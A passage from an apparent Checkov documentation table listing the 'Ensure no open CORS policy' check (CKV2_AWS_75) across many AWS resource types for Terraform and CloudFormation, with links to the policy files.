                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5111 | CKV2_AWS_75              | resource                         | aws_sns_platform_application                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5112 | CKV2_AWS_75              | resource                         | aws_sns_platform_application                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5113 | CKV2_AWS_75              | resource                         | aws_sns_sms_preferences                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5114 | CKV2_AWS_75              | resource                         | aws_sns_sms_preferences                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5115 | CKV2_AWS_75              | resource                         | aws_sns_topic                                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5116 | CKV2_AWS_75              | resource                         | aws_sns_topic                                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5117 | CKV2_AWS_75              | resource                         | aws_sns_topic_data_protection_policy                                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5118 | CKV2_AWS_75              | resource                         | aws_sns_topic_data_protection_policy                                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5119 | CKV2_AWS_75              | resource                         | aws_sns_topic_policy                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5120 | CKV2_AWS_75              | resource                         | aws_sns_topic_policy                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5121 | CKV2_AWS_75              | resource                         | aws_sns_topic_subscription                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5122 | CKV2_AWS_75              | resource                         | aws_sns_topic_subscription                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5123 | CKV2_AWS_75              | resource                         | aws_spot_datafeed_subscription                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5124 | CKV2_AWS_75              | resource                         | aws_spot_datafeed_subscription                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5125 | CKV2_AWS_75              | resource                         | aws_spot_fleet_request                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5126 | CKV2_AWS_75              | resource                         | aws_spot_fleet_request                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5127 | CKV2_AWS_75              | resource                         | aws_spot_instance_request                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5128 | CKV2_AWS_75              | resource                         | aws_spot_instance_request                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5129 | CKV2_AWS_75              | resource                         | aws_sqs_queue                                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5130 | CKV2_AWS_75              | resource                         | aws_sqs_queue                                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5131 | CKV2_AWS_75              | resource                         | aws_sqs_queue_policy                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5132 | CKV2_AWS_75              | resource                         | aws_sqs_queue_policy                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5133 | CKV2_AWS_75              | resource                         | aws_sqs_queue_redrive_allow_policy                                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5134 | CKV2_AWS_75              | resource                         | aws_sqs_queue_redrive_allow_policy                                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5135 | CKV2_AWS_75              | resource                         | aws_sqs_queue_redrive_policy                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5136 | CKV2_AWS_75              | resource                         | aws_sqs_queue_redrive_policy                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5137 | CKV2_AWS_75              | resource                         | aws_ssm_activation                                                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5138 | CKV2_AWS_75              | resource                         | aws_ssm_activation                                                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5139 | CKV2_AWS_75              | resource                         | aws_ssm_association                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5140 | CKV2_AWS_75              | resource                         | aws_ssm_association                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5141 | CKV2_AWS_75              | resource                         | aws_ssm_default_patch_baseline                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5142 | CKV2_AWS_75              | resource                         | aws_ssm_default_patch_baseline                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5143 | CKV2_AWS_75              | resource                         | aws_ssm_document                                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5144 | CKV2_AWS_75              | resource                         | aws_ssm_document                                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5145 | CKV2_AWS_75              | resource                         | aws_ssm_maintenance_window                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5146 | CKV2_AWS_75              | resource                         | aws_ssm_maintenance_window                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5147 | CKV2_AWS_75              | resource                         | aws_ssm_maintenance_window_target                                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5148 | CKV2_AWS_75              | resource                         | aws_ssm_maintenance_window_target                                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5149 | CKV2_AWS_75              | resource                         | aws_ssm_maintenance_window_task                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5150 | CKV2_AWS_75              | resource                         | aws_ssm_maintenance_window_task                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5151 | CKV2_AWS_75              | resource                         | aws_ssm_parameter                                                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5152 | CKV2_AWS_75              | resource                         | aws_ssm_parameter                                                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5153 | CKV2_AWS_75              | resource                         | aws_ssm_patch_baseline                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5154 | CKV2_AWS_75              | resource                         | aws_ssm_patch_baseline                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5155 | CKV2_AWS_75              | resource                         | aws_ssm_patch_group                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5156 | CKV2_AWS_75              | resource                         | aws_ssm_patch_group                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5157 | CKV2_AWS_75              | resource                         | aws_ssm_resource_data_sync                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5158 | CKV2_AWS_75              | resource                         | aws_ssm_resource_data_sync                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5159 | CKV2_AWS_75              | resource                         | aws_ssm_service_setting                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5160 | CKV2_AWS_75              | resource                         | aws_ssm_service_setting                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5161 | CKV2_AWS_75              | resource                         | aws_ssmcontacts_contact                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5162 | CKV2_AWS_75              | resource                         | aws_ssmcontacts_contact                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5163 | CKV2_AWS_75              | resource                         | aws_ssmcontacts_contact_channel                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5164 | CKV2_AWS_75              | resource                         | aws_ssmcontacts_contact_channel                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5165 | CKV2_AWS_75              | resource                         | aws_ssmcontacts_plan                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5166 | CKV2_AWS_75              | resource                         | aws_ssmcontacts_plan                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5167 | CKV2_AWS_75              | resource                         | aws_ssmcontacts_rotation                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5168 | CKV2_AWS_75              | resource                         | aws_ssmcontacts_rotation                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5169 | CKV2_AWS_75              | resource                         | aws_ssmincidents_replication_set                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5170 | CKV2_AWS_75              | resource                         | aws_ssmincidents_replication_set                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5171 | CKV2_AWS_75              | resource                         | aws_ssmincidents_response_plan                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5172 | CKV2_AWS_75              | resource                         | aws_ssmincidents_response_plan                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5173 | CKV2_AWS_75              | resource                         | aws_ssmquicksetup_configuration_manager                                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5174 | CKV2_AWS_75              | resource                         | aws_ssmquicksetup_configuration_manager                                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5175 | CKV2_AWS_75              | resource                         | aws_ssoadmin_account_assignment                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5176 | CKV2_AWS_75              | resource                         | aws_ssoadmin_account_assignment                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5177 | CKV2_AWS_75              | resource                         | aws_ssoadmin_application                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5178 | CKV2_AWS_75              | resource                         | aws_ssoadmin_application                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5179 | CKV2_AWS_75              | resource                         | aws_ssoadmin_application_access_scope                                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5180 | CKV2_AWS_75              | resource                         | aws_ssoadmin_application_access_scope                                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5181 | CKV2_AWS_75              | resource                         | aws_ssoadmin_application_assignment                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5182 | CKV2_AWS_75              | resource                         | aws_ssoadmin_application_assignment                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5183 | CKV2_AWS_75              | resource                         | aws_ssoadmin_application_assignment_configuration                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5184 | CKV2_AWS_75              | resource                         | aws_ssoadmin_application_assignment_configuration                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5185 | CKV2_AWS_75              | resource                         | aws_ssoadmin_customer_managed_policy_attachment                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5186 | CKV2_AWS_75              | resource                         | aws_ssoadmin_customer_managed_policy_attachment                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5187 | CKV2_AWS_75              | resource                         | aws_ssoadmin_instance_access_control_attributes                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5188 | CKV2_AWS_75              | resource                         | aws_ssoadmin_instance_access_control_attributes                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5189 | CKV2_AWS_75              | resource                         | aws_ssoadmin_managed_policy_attachment                                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5190 | CKV2_AWS_75              | resource                         | aws_ssoadmin_managed_policy_attachment                                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5191 | CKV2_AWS_75              | resource                         | aws_ssoadmin_permission_set                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5192 | CKV2_AWS_75              | resource                         | aws_ssoadmin_permission_set                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5193 | CKV2_AWS_75              | resource                         | aws_ssoadmin_permission_set_inline_policy                                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5194 | CKV2_AWS_75              | resource                         | aws_ssoadmin_permission_set_inline_policy                                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5195 | CKV2_AWS_75              | resource                         | aws_ssoadmin_permissions_boundary_attachment                                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5196 | CKV2_AWS_75              | resource                         | aws_ssoadmin_permissions_boundary_attachment                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5197 | CKV2_AWS_75              | resource                         | aws_ssoadmin_trusted_token_issuer                                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5198 | CKV2_AWS_75              | resource                         | aws_ssoadmin_trusted_token_issuer                                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5199 | CKV2_AWS_75              | resource                         | aws_storagegateway_cache                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5200 | CKV2_AWS_75              | resource                         | aws_storagegateway_cache                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5201 | CKV2_AWS_75              | resource                         | aws_storagegateway_cached_iscsi_volume                                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5202 | CKV2_AWS_75              | resource                         | aws_storagegateway_cached_iscsi_volume                                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | 